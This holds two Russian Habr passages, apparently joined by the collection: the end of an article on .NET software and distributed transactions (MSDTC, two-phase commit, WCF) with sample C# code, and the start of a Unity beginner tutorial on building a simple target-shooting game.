И в этом контексте в первую очередь обсуждается MSDTC. Он представляет собой программный компонент Windows, управляющий распределенными транзакциями. Имеется графический интерфейс для конфигурации и наблюдения за транзакциями, который можно обнаружить в утилите «Службы компонентов», пройдя по пути «Компьютеры — Мой компьютер — Координатор распределенных транзакций — Локальная DTC».
Для конфигурации нужно выбрать пункт «Свойства» в контекстном меню узла «Локальная DTC», а для наблюдения за распределенными транзакциями — пункт «Статистика транзакций» в центральной панели.
#### Двухфазная фиксация
Если в транзакции участвует несколько управляющих ресурсами, то результаты их работы могут отличаться: например, у одного из них все завершилось успешно, и он готов фиксировать изменения, а у другого произошла ошибка, и он собирается откатить изменения. Однако суть распределенной транзакции заключается как раз в том, что изменения всех участвующих в транзакции управляющих ресурсов либо фиксируются все вместе, либо откатываются. Поэтому в таких случаях обычно применяется протокол двухфазной фиксации.
В общем суть этого протокола заключается в следующем. Во время **первой фазы** участвующие в транзакции управляющие ресурсами подготавливают информацию, достаточную для восстановления после сбоя (если это долговечный управляющий ресурсами) и для успешного окончания работы в результате фиксации. С технической точки зрения управляющий ресурсами сигнализирует о том, что он закончил первую фазу, вызывая метод `System.Transactions.PreparingEnlistment.Prepared` в методе `Prepare`. Либо управляющий ресурсами может уведомить об откате изменений, вызвав метод `ForceRollback`.
Когда все участвующие в транзакции управляющие ресурсами «проголосовали», то есть уведомили управляющий транзакциями о том, хотят ли они фиксировать или откатывать изменения, начинается **вторая фаза**. В это время управляющие ресурсами получают указание фиксировать свои изменения (если все участники проголосовали за фиксацию) или отказаться от изменений (если хотя бы один участник проголосовал за откат). Технически это выражается в вызове методов `Commit` и `Rollback`, которые реализуют управляющие ресурсами и в которых они вызывают метод `System.Transactions.Enlistment.Done`.
Управляющий ресурсами может вызвать метод `System.Transactions.Enlistment.Done` и во время первой фазы. В таком случае подразумевается, что он не собирается фиксировать никаких изменений (например, работает только на чтение) и не будет участвовать во второй фазе. Подробнее про двухфазную фиксацию можно прочитать [у Microsoft](https://docs.microsoft.com/en-us/dotnet/framework/data/transactions/committing-a-transaction-in-single-phase-and-multi-phase).
Если связь между управляющим транзакциями и хотя бы одним из управляющих ресурсами теряется, то транзакция становится зависшей («под сомнением», in-doubt). Управляющий транзакциями, вызывая методы `InDoubt`, оповещает об этом событии доступные управляющие ресурсами, которые могут отреагировать подходящим образом.
Есть еще [трехфазная фиксация](https://en.wikipedia.org/wiki/Three-phase_commit_protocol) и ее модификации со своими достоинствами и недостатками. Протокол трехфазной фиксации менее распространен, возможно, потому, что требует еще больше расходов на сообщения между взаимодействующими подсистемами.
#### Шпаргалка по интерфейсам System.Transactions
Что-то сложно получается. Чтобы немного разложить все по полочкам, я кратко опишу основные интерфейсы пространства имен `System.Transactions`, нужные для создания управляющего ресурсами. Вот диаграмма классов.
**IEnlistmentNotification.** Управляющий ресурсами обязательно реализует этот интерфейс. Управляющий транзакциями вызывает реализованные методы в следующем порядке. Во время первой фазы он вызывает метод `Prepare` (если только не сошлись звезды для вызова метода `ISinglePhaseNotification.SinglePhaseCommit`, о чем написано в следующем пункте). В рамках этого метода управляющий ресурсами сохраняет необходимую для восстановления после сбоя информацию, готовится к окончательной фиксации изменений на своей стороне и голосует за фиксацию или откат изменений. Если наступает вторая фаза, то в зависимости от доступности управляющих ресурсами и от результатов голосования управляющий транзакциями вызывает один из трех методов: `Commit`, `InDoubt`, `Rollback`.
**ISinglePhaseNotification.** Управляющий ресурсами реализует этот интерфейс, если хочет предоставить управляющему транзакциями возможность оптимизировать выполнение за счет редуцирования второй фазы фиксации. Если управляющий транзакциями видит только один управляющий ресурсами, то на первой фазе фиксации он пытается вызвать у управляющего ресурсами метод `SinglePhaseCommit` (вместо `IEnlistmentNotification.Prepare`) и тем самым исключить голосование и переход ко второй фазе. У этого подхода есть достоинства и недостатки, о которых понятнее всего написано у Microsoft [здесь](https://msdn.microsoft.com/en-us/library/cc229955.aspx).
**ITransactionPromoter.** Управляющий ресурсами реализует этот интерфейс (только не напрямую, а через интерфейс `IPromotableSinglePhaseNotification`), если хочет предоставить управляющему транзакциями возможность придерживаться протокола Lightweight даже при удаленном вызове, пока не наступят другие условия, которые потребуют усложнения протокола. Когда потребуется усложнить протокол, будет вызван метод `Promote`.
**IPromotableSinglePhaseNotification.** Управляющий ресурсами реализует этот интерфейс, чтобы, во-первых, реализовать интерфейс `ITransactionPromoter`, а во-вторых, чтобы управляющий транзакциями мог воспользоваться однофазной фиксацией, вызывая методы `IPromotableSinglePhaseNotification.SinglePhaseCommit` и `IPromotableSinglePhaseNotification.Rollback`. Управляющий транзакциями вызывает метод `IPromotableSinglePhaseNotification.Initialize`, чтобы отметить успешную регистрацию управляющего ресурсами по упрощенной схеме. Более-менее это можно понять из [документа Microsoft](https://docs.microsoft.com/en-us/dotnet/framework/data/transactions/optimization-spc-and-promotable-spn).
Еще немного посмотрим на класс `System.Transactions.Enlistment` и его наследников. Экземпляры этого типа предоставляет управляющий транзакциями, когда вызывает методы интерфейсов, реализуемые управляющим ресурсами.
**Enlistment.** Управляющий ресурсами может вызвать единственный метод этого типа — `Done`, — чтобы сигнализировать об успешном выполнении своей части работы.
**PreparingEnlistment.** С помощью экземпляра этого типа во время первой фазы фиксации управляющий ресурсами может сигнализировать о своем намерении зафиксировать или откатить изменения. Долговечный управляющий ресурсами также может получить информацию, требующуюся для восстановления после системного сбоя.
**SinglePhaseEnlistment.** С помощью экземпляра этого типа управляющий ресурсами может передать информацию управляющему транзакциями о результатах своей работы при использовании упрощенной схемы (однофазной фиксации).
#### Ограничения программных распределенных транзакций и альтернативы
Краткое исследование мнений, встречающихся в интернете, показывает, что во многих областях распределенные транзакции выходят из моды. Посмотрите, например, на [этот ехидный комментарий](https://habr.com/company/flant/blog/347518/#comment_10640160). Основной объект критики, о котором вкратце сказано [здесь](https://habr.com/company/nixsolutions/blog/321686/), — это синхронная (блокирующая) природа распределенных транзакций. Если пользователь отправил запрос, во время обработки которого была организована распределенная транзакция, то он получит ответ только после того, как (успешно или с ошибкой) закончат работу все подсистемы, включенные в транзакцию. При этом есть подкрепленное исследованиями мнение, что протокол двухфазной фиксации показывает плохую производительность, особенно с ростом числа вовлеченных в транзакцию подсистем, о чем упоминается, например, в [этой публикации на «Хабре»](https://habr.com/company/avito/blog/426101/).
Если создатель системы предпочитает вернуть ответ пользователю как можно скорее, отложив согласование данных на потом, то ему больше подойдет какое-нибудь другое решение. В контексте теоремы Брюера ([теоремы CAP](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_CAP)) можно сказать, что распределенные транзакции подходят для случаев, когда согласованность данных (Consistency) важнее доступности (Availability).
Существуют и другие практические ограничения на использование программных распределенных транзакций. Например, опытным путем было установлено, что распределенные транзакции по протоколу OleTx не должны пересекать сетевые домены. Во всяком случае, долгие попытки заставить их работать не увенчались успехом. Кроме того, было выявлено, что взаимодействие между несколькими экземплярами Oracle Database (распределенных транзакций СУБД) накладывает серьезные ограничения на применимость программных распределенных транзакций (опять же не удалось завести).
Какие есть альтернативы распределенным транзакциям? Сначала надо сказать, что вообще без технических транзакций (обычных, не распределенных) будет обойтись очень сложно. В системе наверняка будут процессы, которые могут временно нарушить целостность данных, и потребуется каким-то образом обеспечить надзор за такими процессами. Точно так же и в терминах предметной области может возникнуть понятие, включающее процесс, реализующийся совокупностью процессов в разных технических системах, который должен начинаться и заканчиваться в области целостных данных.
Переходя к альтернативам распределенных транзакций, можно отметить решения на основе служб сообщений, например RabbitMQ и Apache Kafka. В [этой публикации на «Хабре»](https://habr.com/company/nixsolutions/blog/322214/) рассматривается четыре таких решения:
1. подсистема публикует сообщение, на основе которого происходит и запись в БД, и уведомление других подсистем;
2. подсистема пишет в БД, а уведомления других подсистем формируются на основе журнала транзакций БД (Transaction Log Tailing);
3. подсистема ведет в БД как таблицы сущностей, так и таблицы сообщений для внешних подсистем;
4. сущности в БД однозначно представляются очередью записей об их создании и изменениях (Event Sourcing).
Еще одна альтернатива — шаблон «Сага». Он предполагает каскад подсистем со своими локальными транзакциями. По завершении работы каждая система вызывает следующую (либо самостоятельно, либо при помощи координатора). Для каждой транзакции имеется соответствующая отменяющая транзакция, и подсистема может вместо передачи управления дальше, наоборот, инициировать отмену изменений, сделанных ранее предыдущими подсистемами. На «Хабре» есть несколько хороших статей о шаблоне «Сага». К примеру, в [этой публикации](https://habr.com/company/avito/blog/426101/) приводятся общие сведения о поддержании принципов ACID в микрослужбах, а в [этой статье](https://habr.com/company/oleg-bunin/blog/418235/) подробно рассматривается пример внедрения шаблона «Сага» с координатором.
В нашей компании в некоторых продуктах успешно используются программные распределенные транзакции через WCF, но бывают и другие варианты. Однажды, когда мы пытались подружить новую систему с распределенными транзакциями, у нас возникло много проблем, включая столкновение с описанными выше ограничениями и параллельные неприятности с обновлением программной инфраструктуры. Поэтому в условиях дефицита ресурсов на обкатывание другого капитального решения мы применили следующую тактику. Вызываемая сторона фиксирует изменения в любом случае, но отмечает, что они находятся в состоянии черновика, поэтому эти изменения пока не влияют на работу вызываемой системы. Потом уже вызывающая сторона при завершении своей работы через распределенную транзакцию СУБД активизирует изменения, сделанные вызываемой системой. Таким образом, вместо программных распределенных транзакций мы воспользовались распределенными транзакциями СУБД, которые в данном случае оказались гораздо надежнее.
#### Так это есть в .NET Core?
В .NET Core (и даже в .NET Standard) есть все необходимые типы для организации транзакций и создания своего управляющего ресурсами. К сожалению, в .NET Core у транзакций на основе `System.Transactions` есть серьезное ограничение: они работают только с протоколом Lightweight. Например, если в коде используется два долговечных управляющих ресурсами, то во время выполнения среда выбросит исключение, как только будет произведено обращение ко второму управляющему.
Дело в том, что .NET Core стараются делать независимым от операционной системы, поэтому завязка на такие управляющие транзакциями, как KTM и MSDTC, исключается, а именно они и нужны для поддержания транзакций с указанными свойствами. Возможно, будет реализовано подключение управляющих транзакциями в виде плагинов, но пока что это вилами по воде писано, поэтому рассчитывать на промышленное применение распределенных транзакций в .NET Core пока нельзя.
На опыте можно убедиться в различиях распределенных транзакций в .NET Framework и в .NET Core, написав одинаковый код, скомпилировав и запустив его на разных платформах.
**Пример такого кода, вызывающего последовательно SQL Server и Oracle Database.**
```
private static void Main(string[] args) {
using (var scope = new System.Transactions.TransactionScope(System.Transactions.TransactionScopeOption.Required)) {
MsSqlServer();
Oracle();
scope.Complete();
}
}
private static void Oracle() {
using (var conn = new Oracle.ManagedDataAccess.Client.OracleConnection("User Id=some_user;Password=some_password;Data Source=some_db")) {
conn.Open();
using (var cmd = conn.CreateCommand()) {
cmd.CommandText = "update t_hello set id_hello = 2 where id_hello = 1";
cmd.ExecuteNonQuery();
}
conn.Close();
}
}
private static void MsSqlServer() {
var builder = new System.Data.SqlClient.SqlConnectionStringBuilder {
DataSource = "some_computer\\some_db",
UserID = "some_user",
Password = "some_password",
InitialCatalog = "some_scheme",
Enlist = true,
};
using (var conn = new System.Data.SqlClient.SqlConnection(builder.ConnectionString)) {
conn.Open();
using (var cmd = conn.CreateCommand()) {
cmd.CommandText = "update t_hello set id_hello = 2 where id_hello = 1";
cmd.ExecuteNonQuery();
}
conn.Close();
}
}
```
Готовые для сборки проекты [находятся на GitHub](https://github.com/CUSTIS-public/NetDistributedTransactionsExample).
Запуск примера для .NET Core заканчивается ошибкой. От порядка вызова СУБД зависят место и тип выбрасываемого исключения, но в любом случае это исключение свидетельствует о недопустимой транзакционной операции. Запуск примера для .NET Framework заканчивается успешно, если в это время работает MSDTC; при этом в графическом интерфейсе MSDTC можно наблюдать регистрацию распределенной транзакции.
#### Распределенные транзакции и WCF
Windows Communication Foundation (WCF) — это программный каркас мира .NET, предназначенный для организации и вызова сетевых служб. По сравнению с более модными подходами REST и ASP.NET Web API он обладает своими достоинствами и недостатками. WCF очень хорошо дружит с транзакциями .NET, и в мире .NET Framework его удобно использовать для организации транзакций, распределенных между клиентом и службой.
В .NET Core эта технология работает только со стороны клиента, то есть создать службу нельзя, а можно только обратиться к уже существующей. Это, однако, не слишком важно, потому что, как сказано выше, с распределенными транзакциями в .NET Core дела вообще обстоят не очень хорошо.
**Как устроен WCF**
Для читателей, мало знакомых с WCF, дадим здесь самую краткую справочную информацию о том, что же представляет собой эта технология на практике. Контекст — две информационные системы, называемые клиентом и службой. Клиент во время выполнения обращается к другой информационной системе, поддерживающей интересующую клиента службу, и требует выполнить некоторую операцию. Потом управление возвращается клиенту.
Чтобы создать службу на WCF, обычно надо написать интерфейс, описывающий контракт создаваемой службы, и реализующий этот интерфейс класс. Класс и интерфейс размечаются особыми атрибутами WCF, выделяющими их среди остальных типов, и задают некоторые детали поведения во время обнаружения и вызова службы. Эти типы обертываются во что-то, работающее в виде сервера (например, в DLL, на которую натравливают IIS), и дополняются конфигурационным файлом (есть варианты), где указаны подробности реализации службы. После запуска к службе можно обращаться, например, по сетевому адресу; в интернет-обозревателе можно посмотреть контракты, которые реализует запрошенная служба.
Программист, желающий обратиться к существующей службе WCF, использует консольную утилиту или встроенный в среду разработки графический интерфейс, чтобы по имеющемуся адресу службы сформировать типы на языке C# (или на другом поддерживаемом языке), соответствующие контрактам службы. Файл с полученными типами включается в проект клиентского приложения, и после этого программист пользуется теми же терминами, что содержатся в интерфейсе службы, наслаждаясь благами прогресса (статической типизацией). Кроме этого, в конфигурационном файле клиента указываются технические характеристики вызываемой службы (возможна настройка и в коде, без конфигурационного файла).
WCF поддерживает разные виды транспорта, шифрования и иных более тонких технических параметров. Большинство из них объединяются понятием «привязка» (Binding). Есть три важных параметра службы WCF:
1. адрес, по которому она доступна;
2. привязка;
3. контракт (интерфейсы).
Все эти параметры устанавливаются в конфигурационных файлах службы и клиента.
В нашей компании WCF (и с распределенными транзакциями, и без них) широко используется во внедренных продуктах, однако, учитывая веяния моды, его использование в новых продуктах пока что находится под вопросом.
**Как завести распределенные транзакции в WCF**
Чтобы завести в WCF транзакции на основе `System.Transactions`, программисту нужно расставить в коде несколько атрибутов, убедиться, что используемые привязки поддерживают распределенные транзакции, на клиенте и в службе написано `transactionFlow="true"` и что на всех задействованных компьютерах запущен подходящий управляющий транзакциями (скорее всего, это будет MSDTC).
Привязки, поддерживающие распределенные транзакции: NetTcpBinding, NetNamedPipeBinding, WSHttpBinding, WSDualHttpBinding и WSFederationHttpBinding.
Метод (операцию) интерфейса службы надо пометить атрибутом `System.ServiceModel.TransactionFlowAttribute`. Тогда при определенных параметрах атрибута и при установке параметра `TransactionScopeRequired` атрибута `System.ServiceModel.OperationBehaviorAttribute` транзакция будет распределяться между клиентом и службой. Кроме того, по умолчанию считается, что служба голосует за фиксацию транзакции, если только во время выполнения не было выброшено исключение. Чтобы поменять это поведение, надо установить соответствующее значение параметра `TransactionAutoComplete` атрибута `System.ServiceModel.OperationBehaviorAttribute`.
**Код простейшей службы WCF, поддерживающей распределенные транзакции.**
```
[System.ServiceModel.ServiceContract]
public interface IMyService
{
[System.ServiceModel.OperationContract]
[System.ServiceModel.TransactionFlow(System.ServiceModel.TransactionFlowOption.Mandatory)]
int DoSomething(string input);
}
public class MyService : IMyService
{
[System.ServiceModel.OperationBehavior(TransactionScopeRequired = true)]
[System.ServiceModel.TransactionFlow(System.ServiceModel.TransactionFlowOption.Mandatory)]
public int DoSomething(string input)
{
if (input == null)
throw new System.ArgumentNullException(nameof(input));
return input.Length;
}
}
```
Очевидно, что он отличается от кода обычной службы только использованием атрибута `System.ServiceModel.TransactionFlow` и специальной настройкой атрибута `System.ServiceModel.OperationBehavior`.
**Пример конфигурации для этой службы.**
```
```
Обратите внимание на то, что используется привязка типа WSHttpBinding и атрибут `transactionFlow="true"`.
#### TL;DR по разделу
Распределенные транзакции включают несколько управляющих ресурсами, и все изменения должны либо фиксироваться, либо откатываться. Некоторые современные СУБД реализуют распределенные транзакции, которые представляют удобный механизм связи нескольких БД. Программные (реализуемые не в СУБД) распределенные транзакции могут включать разные комбинации управляющих ресурсами на разных компьютерах под управлением разных операционных систем, но они имеют ограничения, которые нужно учесть перед тем, как полагаться на них. Современной альтернативой распределенным транзакциям являются решения на основе службы сообщений. В .NET Core распределенные транзакции пока что не поддерживаются.
WCF — это один из стандартных и проверенных инструментов создания и обращения к службам в мире .NET, поддерживающий несколько видов транспорта и шифрования. WCF очень близко дружит с распределенными транзакциями на основе `System.Transactions`. Настройка распределенных транзакций для WCF заключается в разметке кода несколькими атрибутами и в добавлении пары слов в конфигурационных файлах службы и клиента. Не все привязки WCF поддерживают распределенные транзакции. Кроме того, очевидно, транзакции в WCF имеют те же ограничения, что и без использования WCF. Платформа .NET Core пока что позволяет только обращаться к службам на WCF, а не создавать их.
Заключение-шпаргалка
--------------------
Эта публикация представляет собой обзор основ программных транзакций .NET. Некоторые выводы относительно тенденций в программных транзакциях можно найти в разделах, посвященных применимости и ограничениям обсуждаемых предметов, а в заключении собраны основные тезисы публикации. Предполагаю, что их можно использовать в качестве шпаргалки при рассмотрении программных транзакций как одного из вариантов реализации технической системы или для освежения в памяти соответствующей информации.
**Транзакции (предметной области, СУБД, программные)**. Требования предметной области иногда формулируют в виде транзакций — операций, которые, начинаясь в области целостных данных, по завершении (в том числе и неудачном) должны приходить также в область целостных данных (возможно, уже другую). Эти требования обычно реализуются в виде системных транзакций. Классическим примером транзакции является перевод денег между двумя счетами, состоящий из двух неделимых операций — снятия денег с одного счета и зачисления на другой. Кроме известных всем транзакций, реализуемых средствами СУБД, существуют и программные транзакции, например в мире .NET. Управляющие ресурсами — это программные компоненты, знающие о существовании таких транзакций и имеющие возможность включаться в них, то есть фиксировать или откатывать сделанные изменения. Управляющие ресурсами получают инструкции о фиксации и откате изменений от управляющего транзакциями, составляющего основу инфраструктуры `System.Transactions`.
**Долговечные и непостоянные управляющие ресурсами.** Долговечные управляющие ресурсами поддерживают восстановление данных после системного сбоя. Драйверы СУБД для .NET как раз обычно предлагают такую функциональность. Непостоянные управляющие ресурсами **не** поддерживают восстановление после сбоя. Программную транзакционную память — способ управления объектами в оперативной памяти — можно рассматривать как пример непостоянного управляющего ресурсами.
**Транзакции и управляющие ресурсами .NET.** Программист .NET пользуется программными транзакциями и создает собственные управляющие ресурсами с помощью типов из пространства имен `System.Transactions`. Эта инфраструктура позволяет использовать транзакции различной вложенности и изоляции (с известными ограничениями). Использование транзакций — дело не сложное, и заключается оно в обертывании кода в блок `using` с определенными характеристиками. Однако включаемые таким образом в транзакцию управляющие ресурсами должны поддерживать требуемую функциональность со своей стороны. Использование в транзакции разнородных управляющих ресурсами или использование одного управляющего разными способами может автоматически превратить транзакцию в распределённую.
**Распределенные транзакции (СУБД, программные).** Распределенная транзакция охватывает несколько подсистем, изменения в которых должны быть синхронизированы, то есть они либо фиксируются все вместе, либо откатываются. Распределенные транзакции реализованы в некоторых современных СУБД. Программные распределенные транзакции (это уже не те, которые реализуются СУБД) накладывают дополнительные ограничения на взаимодействующие процессы и платформы. Распределенные транзакции постепенно выходят из моды, уступая решениям на основе служб сообщений. Чтобы превратить обычную транзакцию в распределенную, программисту почти ничего не надо делать: при включении в транзакцию управляющего ресурсами с определенными характеристиками во время выполнения управляющий транзакциями автоматически сделает все, что нужно. Обычные программные транзакции доступны в .NET Core и .NET Standard, а распределенные — не доступны.
**Распределенные транзакции через WCF.** WCF — это один из стандартных для .NET инструментариев создания и вызова служб, поддерживающий в том числе и стандартизированные протоколы. Другими словами, к определенным образом сконфигурированным службам WCF можно обращаться из любого приложения, не только .NET или Windows. Чтобы создать распределенную транзакцию поверх WCF, нужно разметить типы, составляющие службу, дополнительными атрибутами и внести минимальные изменения в конфигурационные файлы службы и клиента. В .NET Core и .NET Standard нельзя создавать службы WCF, но можно создавать клиенты WCF.
[Пример для проверки System.Transactions на GitHub](https://github.com/CUSTIS-public/NetDistributedTransactionsExample)
**Ссылки**#### Основные понятия
[ACID](https://ru.wikipedia.org/wiki/ACID) (русская «Википедия»)
[Алгоритм двухфазной фиксации](https://docs.microsoft.com/en-us/dotnet/framework/data/transactions/committing-a-transaction-in-single-phase-and-multi-phase) (документация Microsoft)
[Однофазная фиксация](https://msdn.microsoft.com/en-us/library/cc229955.aspx) (документация Microsoft)
[Программная транзакционная память](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%B0%D1%8F_%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C) (русская «Википедия»)
[Теорема Брюера](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_CAP) (русская «Википедия»)
[Трехфазная фиксация](https://en.wikipedia.org/wiki/Three-phase_commit_protocol) (английская «Википедия»)
#### Стандарты и конкретные реализации
[Стандарт распределенных транзакций X/Open XA](http://pubs.opengroup.org/onlinepubs/009680699/toc.pdf) (документ The Open Group)
[Java Transaction API](https://ru.wikipedia.org/wiki/Java_Transaction_API) (русская «Википедия»)
[Описание транзакций в объектной БД Cache](https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCOS_tp) (сайт компании InterSystems)
#### Материалы о .NET
[Подробное описание транзакций .NET](http://fukyo-it.blogspot.com/2012/02/truly-understanding-net-transactions.html) (сборник личных журналов Tech Blog Collection)
[Подробное руководство по работе с TransactionScope](https://habr.com/post/115480/) («Хабр»)
[Описание участника транзакции, поддерживающего продвижение и однофазную фиксацию](https://docs.microsoft.com/en-us/dotnet/framework/data/transactions/optimization-spc-and-promotable-spn) (документация Microsoft)
[Что нового в .NET Standard 2.0](https://github.com/dotnet/standard/blob/master/docs/versions/netstandard2.0.md) (репозиторий .NET Standard на GitHub)
[Проблемы с пулом соединений и уровнями изоляции транзакции](https://yarfullstack.com/post/2017-03/isolation-level-and-connection-pool/) (журнал YarFullStack)
#### Материалы о микрослужбах
[Вводная статья по разработке транзакционных микрослужб](https://habr.com/company/nixsolutions/blog/321686/) («Хабр»)
[Принципы и примеры разработки транзакционных микрослужб](https://habr.com/company/nixsolutions/blog/322214/) («Хабр»)
[Обзорная статья по шаблону «Сага» и целостности данных в микрослужбах](https://habr.com/company/avito/blog/426101/) («Хабр»)
[Подробная статья о применении шаблона «Сага» с координатором](https://habr.com/company/oleg-bunin/blog/418235/) («Хабр»)
[Ехидный комментарий о распределенных транзакциях](https://habr.com/company/flant/blog/347518/#comment_10640160) («Хабр»)
**Редакции*** 20.12.2018 Выпуск.
* 21.12.2018 Исправления опечаток. Дополнения статьи по материалам комментариев [OlegAxenow](https://habr.com/users/olegaxenow/).
* 23.12.2018 Дополнения статьи по материалам комментария [qw1](https://habr.com/users/qw1/). | https://habr.com/ru/post/433136/ | null | ru | null |
# Третье практическое задание с сайта unity3dstudent.com
Продолжим разбирать практические задания с [unity3dstudent.com](http://unity3dstudent.com). На очереди последняя на данный момент задачка. Статья слегка задержалась, но, надеюсь, будет кому-то полезна.
Вот ссылка на оригинальное задание: [www.unity3dstudent.com/2010/07/challenge-c03-beginner](http://www.unity3dstudent.com/2010/07/challenge-c03-beginner/)
Суть: игрок должен уметь перемещаться вправо/влево и стрелять по трём мишеням. Мишени при попадании должны падать, а игроку за каждую сбитую мишень начисляется очко. По достижении трёх очков показывается экран окончания игры.
**[Первая задача.](http://habrahabr.ru/post/145678/)
[Вторая задача.](http://habrahabr.ru/post/145697/)**
#### Часть 1: Сцена.
Добавим на сцену плоскость – пол, на который будут падать кубы-мишени, её размер пока изменять не будем. Предположим, что игрок будет стрелять из точки положения камеры в том же направлении, куда она смотрит. Для простоты предположим, что стрелять будем вдоль оси OX (напоминаю, направления осей показано в правом верхнем углу вкладки Scene).
Необходимо в соответствии с этим расположить камеру. Выберем на сцене плоскость. Если нажать на ось OX (на отвечающий ей конус-кнопку на первом скриншоте ниже), то мы «посмотрим» на выбранный объект (то есть плоскость) в направлении, параллельном оси OX (см. второй скриншот).
*Скриншот 1*
*Скриншот 2*
Не удивляйтесь, что перестала быть видна сама плоскость, так и должно быть. Теперь поставим камеру в ту же точку, из которой смотрим: выбираем в панели иерархии объект Main Camera, нажимаем GameObject -> Align With View (или нажмите Ctrl+Shift+F). Теперь из камеры видно плоскость в нужном ракурсе, но далековато, да и камера слишком низко расположена (при выбранном объекте камеры в правом нижнем углу вкладки Scene – предпросмотр вида камеры). На обведённое кругом пока не обращайте внимания.
Вернёмся к «нормальному» виду на сцену: для этого нужно выделить на сцене плоскость и нажать на кубик между стрелками осей в верхнем правом углу (сейчас он виден как квадрат) – он обведён красным кругом на скриншоте выше. Получим что-то вроде этого (может быть нужно будет удалиться от плоскости, покрутив колёсико мыши, чтобы камера попала в поле зрения):
*На скриншоте выделена камера.*
Теперь поднимем камеру повыше и пододвинем к плоскости (можно даже так, что ближний край плоскости станет не виден):
С камерой пока всё. Добавим в сцену освещение – точечный источник света (можно и любой другой, здесь цель добавления освещения – просто сделать сцену «посветлее», не более того; для красивого освещения, возможно, придётся использовать другие источники света) и приподнимем его:
Замечу, что у точечных источников света есть несколько редактируемых параметров. В частности, нас интересуют Intensity и Range. Первый – интенсивность света – отвечает за то, как ярко светит источник. Второй – дальность действия. То есть источник света может светить очень ярко, но лишь в небольшом объёме. И сколько бы мы не меняли параметр Intensity, дальше заданного радиуса свет от источника распространяться не будет.
По умолчанию выставляются параметры Range = 10 и Intensity = 1. Если выделить объект источника света, на сцене вокруг него обрисовывается шар – это и есть объём, в котором «светит» источник. В моём случае плоскость лежала внутри этого объема, так что Range можно не менять, но плоскость была как-то тускловато освещена, поэтому я увеличил Intensity до 4 (на скриншоте выше это уже сделано).
Создадим теперь префаб для мишени в панели Project, назовём его target (можно, конечно, обойтись и тремя отдельными объектами, но это неудобно, да и вдруг понадобится не три, а сто таких мишеней?). Добавим в сцену куб. Слегка разукрасим его, добавив текстуру. В прошлом разборе мы создавали материал с некоторой текстурой, почем бы не использовать его ещё раз? Если не помните, как создать материал – загляните в [разбор](http://habrahabr.ru/post/145697/) предыдущей задачки.
Теперь из панели иерархии перетащим этот куб на префаб в панели Project, а сам куб удалим. Создадим три копии (или «образца»; по-английски, насколько я понимаю, это называется instance) префаба. Разместим их все примерно на той же высоте, что и камера:
Положение мишеней можно (и, может быть, придётся) подкорректировать и уже после того, как игрок научится стрелять (если невозможно будет попасть по мишеням).
Можно было заметить, что мишени у нас пока что без компонента Rigidbody, они же не должны падать до того, как в них попали. А как понадобится – мы сразу добавим им этот компонент и они упадут (в уроках с того же [www.unity3dstudent.com](http://www.unity3dstudent.com) неявно предлагается именно такой вариант, о другом способе – ближе к концу статьи, в третьей части).
Основная сцена готова, экран завершения игры опять же будет позже.
#### Часть 2: Скрипты.
Сначала определимся, какие скрипты нам нужны.
Во-первых, нужно из точки расположения камеры стрелять по мишеням, в том же скрипте (он будет «повешен» на саму камеру) будем двигать её вправо/влево. Этот скрипт назовём Playerscript.
Ещё к префабу мишени нужно прикрепить скрипт, который будет при соударении добавлять компонент Rigidbody и засчитывать игроку очко. Это будет Rigidbodytizer.
Но кто будет вести счёт? Можно было бы делать это в скрипте для камеры, но как-то некрасиво получается. Добавим в сцену пустой объект (GameObject->Create Empty) и назовём его GameManager – он будет считать набранные очки и при нужном количестве переходить на другую сцену – экран окончания игры. Этому объекту тоже нужен свой скрипт, пусть называется так же: GameManager.
Сначала разберёмся с тем, что нужно в первую очередь: скрипт GameManager. По сути нам нужны только метод Update для проверки счёта и пара переменных для хранения текущего счёта и количества очков, которые нужно набрать для победы (можно, конечно, обойтись использованием числа 3, но если захочется модифицировать игру, всплывут некоторые неудобства).
```
using UnityEngine;
using System.Collections;
public class GameManager : MonoBehaviour
{
public uint neededScore = 3;
public static uint score = 0;
// Update is called once per frame
void Update ()
{
if (score == neededScore)
{
// будет добавлено позже
}
}
}
```
Переменная score описана как public static, так как в этом случае к ней можно будет обращаться из любого скрипта как GameManager.score. Конечно, не очень хорошо, что переменная, в которой хранится значение счёта, является public-членом, но для упрощения скриптовой логики оставим так. Не забудьте прикрепить только что написанный скрипт к объекту GameManager.
Теперь займёмся скриптом Rigidbodytizer. Методы Update или Start нам не понадобятся, добавим метод OnCollisionEnter():
```
void OnCollisionEnter()
{
if (rigidbody == null)
{
gameObject.AddComponent("Rigidbody");
GameManager.score++;
}
}
```
Условие проверяет, добавлен ли уже компонент Rigidbody к объекту, и если нет, добавляет его и увеличивает число засчитанных очков. Обратите внимание, увеличение числа очков – тоже внутри условия! Иначе очко засчитается даже за соударение мишени с полом. Теперь прикрепим Rigidbodytizer к префабу target.
Осталось добавить стрелка – скрипт Playerscript. Но для начала нужен префаб «пули» — им и будем стрелять. Добавляем в проект префпаб “bullet”, а в сцену – сферу. Последнюю сожмём до размеров, например, 0.4 по всем измерениям: в Inspector у компонента Transform изменим все значения поля Scale на 0.4.
Можно добавить материал и сфере, это опционально. Перетащим сферу из панели Hierarchy на префаб bullet в панели Project и удалим сферу со сцены.
Как мы будем двигать камеру? Скорее, вопрос не «как» (поменять transform.Position – не проблема), а «в соответствии с чем?». У класса Input есть замечательный статический метода GetAxis, который по названию оси выдаёт некое float-значение. В том числе для строк “Horizontal” и “Vertical” мы получим значение от -1 до 1, показывающее степень отклонения от, соответственно, вертикальной и горизонтальной осей. Это сработает для стрелок и WASD на клавиатуре и для джойстика. При этом если для джойстика фраза про «отклонение от оси» имеет смыл, то для клавиатуры, как я понял, большую часть времени при нажатой клавише возвращается +1 или -1 (в зависимости от направления), хотя и есть некоторая инертность при нажатии и отпускании клавиши (значение, возвращаемое методом Input.GetAxis, проходит через промежуточное значение). Более подробно про этот метод – [здесь](http://unity3d.com/support/documentation/ScriptReference/Input.GetAxis.html).
